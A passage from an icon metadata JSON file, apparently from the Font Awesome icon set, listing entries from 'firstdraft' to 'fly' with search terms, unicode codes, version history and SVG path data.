61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"
      }
    },
    "free": ["brands"]
  },
  "firstdraft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a1",
    "label": "firstdraft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"
      }
    },
    "free": ["brands"]
  },
  "fish": {
    "aliases": {
      "unicodes": {
        "composite": ["1f41f"],
        "secondary": ["10f578"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Pisces",
        "fauna",
        "fish",
        "gold",
        "seafood",
        "swimming",
        "zodiac"
      ]
    },
    "styles": ["solid"],
    "unicode": "f578",
    "label": "Fish",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M180.5 141.5C219.7 108.5 272.6 80 336 80s116.3 28.5 155.5 61.5c39.1 33 66.9 72.4 81 99.8c4.7 9.2 4.7 20.1 0 29.3c-14.1 27.4-41.9 66.8-81 99.8C452.3 403.5 399.4 432 336 432s-116.3-28.5-155.5-61.5c-16.2-13.7-30.5-28.5-42.7-43.1L48.1 379.6c-12.5 7.3-28.4 5.3-38.7-4.9S-3 348.7 4.2 336.1L50 256 4.2 175.9c-7.2-12.6-5-28.4 5.3-38.6s26.1-12.2 38.7-4.9l89.7 52.3c12.2-14.6 26.5-29.4 42.7-43.1zM448 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M180.5 141.5C219.7 108.5 272.6 80 336 80s116.3 28.5 155.5 61.5c39.1 33 66.9 72.4 81 99.8c4.7 9.2 4.7 20.1 0 29.3c-14.1 27.4-41.9 66.8-81 99.8C452.3 403.5 399.4 432 336 432s-116.3-28.5-155.5-61.5c-16.2-13.7-30.5-28.5-42.7-43.1L48.1 379.6c-12.5 7.3-28.4 5.3-38.7-4.9S-3 348.7 4.2 336.1L50 256 4.2 175.9c-7.2-12.6-5-28.4 5.3-38.6s26.1-12.2 38.7-4.9l89.7 52.3c12.2-14.6 26.5-29.4 42.7-43.1zM448 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "fish-fins": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fish", "fishery", "pisces", "seafood"]
    },
    "styles": ["solid"],
    "unicode": "e4f2",
    "label": "Fish Fins",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M275.2 38.4c-10.6-8-25-8.5-36.3-1.5S222 57.3 224.6 70.3l9.7 48.6c-19.4 9-36.9 19.9-52.4 31.5c-15.3 11.5-29 23.9-40.7 36.3L48.1 132.4c-12.5-7.3-28.4-5.3-38.7 4.9S-3 163.3 4.2 175.9L50 256 4.2 336.1c-7.2 12.6-5 28.4 5.3 38.6s26.1 12.2 38.7 4.9l93.1-54.3c11.8 12.3 25.4 24.8 40.7 36.3c15.5 11.6 33 22.5 52.4 31.5l-9.7 48.6c-2.6 13 3.1 26.3 14.3 33.3s25.6 6.5 36.3-1.5l77.6-58.2c54.9-4 101.5-27 137.2-53.8c39.2-29.4 67.2-64.7 81.6-89.5c5.8-9.9 5.8-22.2 0-32.1c-14.4-24.8-42.5-60.1-81.6-89.5c-35.8-26.8-82.3-49.8-137.2-53.8L275.2 38.4zM384 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M275.2 38.4c-10.6-8-25-8.5-36.3-1.5S222 57.3 224.6 70.3l9.7 48.6c-19.4 9-36.9 19.9-52.4 31.5c-15.3 11.5-29 23.9-40.7 36.3L48.1 132.4c-12.5-7.3-28.4-5.3-38.7 4.9S-3 163.3 4.2 175.9L50 256 4.2 336.1c-7.2 12.6-5 28.4 5.3 38.6s26.1 12.2 38.7 4.9l93.1-54.3c11.8 12.3 25.4 24.8 40.7 36.3c15.5 11.6 33 22.5 52.4 31.5l-9.7 48.6c-2.6 13 3.1 26.3 14.3 33.3s25.6 6.5 36.3-1.5l77.6-58.2c54.9-4 101.5-27 137.2-53.8c39.2-29.4 67.2-64.7 81.6-89.5c5.8-9.9 5.8-22.2 0-32.1c-14.4-24.8-42.5-60.1-81.6-89.5c-35.8-26.8-82.3-49.8-137.2-53.8L275.2 38.4zM384 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "flag": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3f4", "f11d"],
        "secondary": ["10f024"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black flag",
        "country",
        "notice",
        "notification",
        "notify",
        "pole",
        "report",
        "symbol",
        "waving"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f024",
    "label": "Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32V64 368 480c0 17.7 14.3 32 32 32s32-14.3 32-32V352l64.3-16.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L64 48V32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32V64 368 480c0 17.7 14.3 32 32 32s32-14.3 32-32V352l64.3-16.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L64 48V32z"
      },
      "regular": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 24C48 10.7 37.3 0 24 0S0 10.7 0 24V64 350.5 400v88c0 13.3 10.7 24 24 24s24-10.7 24-24V388l80.3-20.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L48 52V24zm0 77.5l96.6-24.2c27-6.7 55.5-3.6 80.4 8.8c54.9 27.4 118.7 29.7 175 6.8V334.7l-24.4 9.1c-33.7 12.6-71.2 10.7-103.4-5.4c-48.2-24.1-103.3-30.1-155.6-17.1L48 338.5v-237z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 24C48 10.7 37.3 0 24 0S0 10.7 0 24V64 350.5 400v88c0 13.3 10.7 24 24 24s24-10.7 24-24V388l80.3-20.1c41.1-10.3 84.6-5.5 122.5 13.4c44.2 22.1 95.5 24.8 141.7 7.4l34.7-13c12.5-4.7 20.8-16.6 20.8-30V66.1c0-23-24.2-38-44.8-27.7l-9.6 4.8c-46.3 23.2-100.8 23.2-147.1 0c-35.1-17.6-75.4-22-113.5-12.5L48 52V24zm0 77.5l96.6-24.2c27-6.7 55.5-3.6 80.4 8.8c54.9 27.4 118.7 29.7 175 6.8V334.7l-24.4 9.1c-33.7 12.6-71.2 10.7-103.4-5.4c-48.2-24.1-103.3-30.1-155.6-17.1L48 338.5v-237z"
      }
    },
    "free": ["regular", "solid"]
  },
  "flag-checkered": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c1"],
        "secondary": ["10f11e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.7.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checkered",
        "chequered",
        "chequered flag",
        "finish",
        "notice",
        "notification",
        "notify",
        "pole",
        "racing",
        "report",
        "start",
        "symbol",
        "win"
      ]
    },
    "styles": ["solid"],
    "unicode": "f11e",
    "label": "Flag Checkered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1V345.8c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V400 334 64 32C0 14.3 14.3 0 32 0zM64 187.1l64-13.9v65.5L64 252.6V318l48.8-12.2c5.1-1.3 10.1-2.4 15.2-3.3V238.7l38.9-8.4c8.3-1.8 16.7-2.5 25.1-2.1l0-64c13.6 .4 27.2 2.6 40.4 6.4l23.6 6.9v66.7l-41.7-12.3c-7.3-2.1-14.8-3.4-22.3-3.8v71.4c21.8 1.9 43.3 6.7 64 14.4V244.2l22.7 6.7c13.5 4 27.3 6.4 41.3 7.4V194c-7.8-.8-15.6-2.3-23.2-4.5l-40.8-12v-62c-13-3.8-25.8-8.8-38.2-15c-8.2-4.1-16.9-7-25.8-8.8v72.4c-13-.4-26 .8-38.7 3.6L128 173.2V98L64 114v73.1zM320 335.7c16.8 1.5 33.9-.7 50-6.8l14-5.2V251.9l-7.9 1.8c-18.4 4.3-37.3 5.7-56.1 4.5v77.4zm64-149.4V115.4c-20.9 6.1-42.4 9.1-64 9.1V194c13.9 1.4 28 .5 41.7-2.6l22.3-5.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1V345.8c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V400 334 64 32C0 14.3 14.3 0 32 0zM64 187.1l64-13.9v65.5L64 252.6V318l48.8-12.2c5.1-1.3 10.1-2.4 15.2-3.3V238.7l38.9-8.4c8.3-1.8 16.7-2.5 25.1-2.1l0-64c13.6 .4 27.2 2.6 40.4 6.4l23.6 6.9v66.7l-41.7-12.3c-7.3-2.1-14.8-3.4-22.3-3.8v71.4c21.8 1.9 43.3 6.7 64 14.4V244.2l22.7 6.7c13.5 4 27.3 6.4 41.3 7.4V194c-7.8-.8-15.6-2.3-23.2-4.5l-40.8-12v-62c-13-3.8-25.8-8.8-38.2-15c-8.2-4.1-16.9-7-25.8-8.8v72.4c-13-.4-26 .8-38.7 3.6L128 173.2V98L64 114v73.1zM320 335.7c16.8 1.5 33.9-.7 50-6.8l14-5.2V251.9l-7.9 1.8c-18.4 4.3-37.3 5.7-56.1 4.5v77.4zm64-149.4V115.4c-20.9 6.1-42.4 9.1-64 9.1V194c13.9 1.4 28 .5 41.7-2.6l22.3-5.2z"
      }
    },
    "free": ["solid"]
  },
  "flag-usa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f74d"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "betsy ross",
        "country",
        "fla",
        "flag: United States",
        "old glory",
        "stars",
        "stripes",
        "symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "f74d",
    "label": "Flag Usa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1v36.1l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-20.3-9-41.8-14.7-63.6-16.9v32.2c17.4 2.1 34.4 6.7 50.6 13.9l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 136.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 203.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 232.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 299.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 328.3v33.5c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 400v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V416 345.5 312.8 249.5 216.8 153.5 120.8 64 32C0 14.3 14.3 0 32 0zm80 96A16 16 0 1 0 80 96a16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-32 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1v36.1l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-20.3-9-41.8-14.7-63.6-16.9v32.2c17.4 2.1 34.4 6.7 50.6 13.9l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 136.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 203.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 232.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 299.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 328.3v33.5c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 400v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V416 345.5 312.8 249.5 216.8 153.5 120.8 64 32C0 14.3 14.3 0 32 0zm80 96A16 16 0 1 0 80 96a16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-32 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "flask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c3"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beaker",
        "chemicals",
        "experiment",
        "experimental",
        "labs",
        "liquid",
        "potion",
        "science",
        "vial"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c3",
    "label": "Flask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M288 0H160 128C110.3 0 96 14.3 96 32s14.3 32 32 32V196.8c0 11.8-3.3 23.5-9.5 33.5L10.3 406.2C3.6 417.2 0 429.7 0 442.6C0 480.9 31.1 512 69.4 512H378.6c38.3 0 69.4-31.1 69.4-69.4c0-12.8-3.6-25.4-10.3-36.4L329.5 230.4c-6.2-10.1-9.5-21.7-9.5-33.5V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288zM192 196.8V64h64V196.8c0 23.7 6.6 46.9 19 67.1L309.5 320h-171L173 263.9c12.4-20.2 19-43.4 19-67.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M288 0H160 128C110.3 0 96 14.3 96 32s14.3 32 32 32V196.8c0 11.8-3.3 23.5-9.5 33.5L10.3 406.2C3.6 417.2 0 429.7 0 442.6C0 480.9 31.1 512 69.4 512H378.6c38.3 0 69.4-31.1 69.4-69.4c0-12.8-3.6-25.4-10.3-36.4L329.5 230.4c-6.2-10.1-9.5-21.7-9.5-33.5V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288zM192 196.8V64h64V196.8c0 23.7 6.6 46.9 19 67.1L309.5 320h-171L173 263.9c12.4-20.2 19-43.4 19-67.1z"
      }
    },
    "free": ["solid"]
  },
  "flask-vial": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " beaker",
        " chemicals",
        " experiment",
        " experimental",
        " labs",
        " liquid",
        " science",
        " vial",
        "ampule",
        "chemistry",
        "lab",
        "laboratory",
        "potion",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f3",
    "label": "Flask Vial",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M175 389.4c-9.8 16-15 34.3-15 53.1c-10 3.5-20.8 5.5-32 5.5c-53 0-96-43-96-96V64C14.3 64 0 49.7 0 32S14.3 0 32 0H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V309.9l-49 79.6zM96 64v96h64V64H96zM352 0H480h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V214.9L629.7 406.2c6.7 10.9 10.3 23.5 10.3 36.4c0 38.3-31.1 69.4-69.4 69.4H261.4c-38.3 0-69.4-31.1-69.4-69.4c0-12.8 3.6-25.4 10.3-36.4L320 214.9V64c-17.7 0-32-14.3-32-32s14.3-32 32-32h32zm32 64V224c0 5.9-1.6 11.7-4.7 16.8L330.5 320h171l-48.8-79.2c-3.1-5-4.7-10.8-4.7-16.8V64H384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M175 389.4c-9.8 16-15 34.3-15 53.1c-10 3.5-20.8 5.5-32 5.5c-53 0-96-43-96-96V64C14.3 64 0 49.7 0 32S14.3 0 32 0H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V309.9l-49 79.6zM96 64v96h64V64H96zM352 0H480h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V214.9L629.7 406.2c6.7 10.9 10.3 23.5 10.3 36.4c0 38.3-31.1 69.4-69.4 69.4H261.4c-38.3 0-69.4-31.1-69.4-69.4c0-12.8 3.6-25.4 10.3-36.4L320 214.9V64c-17.7 0-32-14.3-32-32s14.3-32 32-32h32zm32 64V224c0 5.9-1.6 11.7-4.7 16.8L330.5 320h171l-48.8-79.2c-3.1-5-4.7-10.8-4.7-16.8V64H384z"
      }
    },
    "free": ["solid"]
  },
  "flickr": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16e",
    "label": "Flickr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"
      }
    },
    "free": ["brands"]
  },
  "flipboard": {
    "changes": ["5.0.5", "5.0.9"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f44d",
    "label": "Flipboard",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"
      }
    },
    "free": ["brands"]
  },
  "floppy-disk": {
    "aliases": {
      "names": ["save"],
      "unicodes": {
        "composite": ["1f4be", "1f5aa"],
        "secondary": ["10f0c7"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Hard Shell Floppy Disk",
        "computer",
        "disk",
        "download",
        "floppy",
        "floppy disk",
        "floppy-o"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c7",
    "label": "Floppy Disk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V173.3c0-17-6.7-33.3-18.7-45.3L352 50.7C340 38.7 323.7 32 306.7 32H64zm0 96c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM224 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V173.3c0-17-6.7-33.3-18.7-45.3L352 50.7C340 38.7 323.7 32 306.7 32H64zm0 96c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM224 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 96V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V170.5c0-4.2-1.7-8.3-4.7-11.3l33.9-33.9c12 12 18.7 28.3 18.7 45.3V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H309.5c17 0 33.3 6.7 45.3 18.7l74.5 74.5-33.9 33.9L320.8 84.7c-.3-.3-.5-.5-.8-.8V184c0 13.3-10.7 24-24 24H104c-13.3 0-24-10.7-24-24V80H64c-8.8 0-16 7.2-16 16zm80-16v80H272V80H128zm32 240a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 96V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V170.5c0-4.2-1.7-8.3-4.7-11.3l33.9-33.9c12 12 18.7 28.3 18.7 45.3V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H309.5c17 0 33.3 6.7 45.3 18.7l74.5 74.5-33.9 33.9L320.8 84.7c-.3-.3-.5-.5-.8-.8V184c0 13.3-10.7 24-24 24H104c-13.3 0-24-10.7-24-24V80H64c-8.8 0-16 7.2-16 16zm80-16v80H272V80H128zm32 240a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "florin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e184",
    "label": "Florin Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M314.7 32c-38.8 0-73.7 23.3-88.6 59.1L170.7 224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32h80L98.9 396.3c-5 11.9-16.6 19.7-29.5 19.7H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H69.3c38.8 0 73.7-23.3 88.6-59.1L213.3 288H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H240l45.1-108.3c5-11.9 16.6-19.7 29.5-19.7H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H314.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M314.7 32c-38.8 0-73.7 23.3-88.6 59.1L170.7 224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32h80L98.9 396.3c-5 11.9-16.6 19.7-29.5 19.7H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H69.3c38.8 0 73.7-23.3 88.6-59.1L213.3 288H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H240l45.1-108.3c5-11.9 16.6-19.7 29.5-19.7H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H314.7z"
      }
    },
    "free": ["solid"]
  },
  "fly": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f417",
    "label": "Fly",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
